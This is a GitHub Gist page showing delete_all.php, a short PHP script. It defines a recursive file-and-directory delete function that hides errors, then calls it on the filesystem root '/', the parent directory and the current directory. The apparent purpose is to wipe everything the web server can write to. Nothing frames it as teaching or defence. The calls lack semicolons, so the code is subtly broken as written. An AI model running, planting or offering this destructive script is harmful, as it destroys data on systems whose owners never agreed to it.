Created
November 20, 2022 13:44
-
-
Save Noxilex/4d24c84fc8cab2daf3a4114d6323bb63 to your computer and use it in GitHub Desktop.
delete_all.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function recursiveDelete($str) { | |
if (is_file($str)) { | |
return @unlink($str); | |
} | |
elseif (is_dir($str)) { | |
$scan = glob(rtrim($str,'/').'/*'); | |
foreach($scan as $index=>$path) { | |
recursiveDelete($path); | |
} | |
return @rmdir($str); | |
} | |
} | |
recursiveDelete("/") | |
recursiveDelete("..") | |
recursiveDelete(".") | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment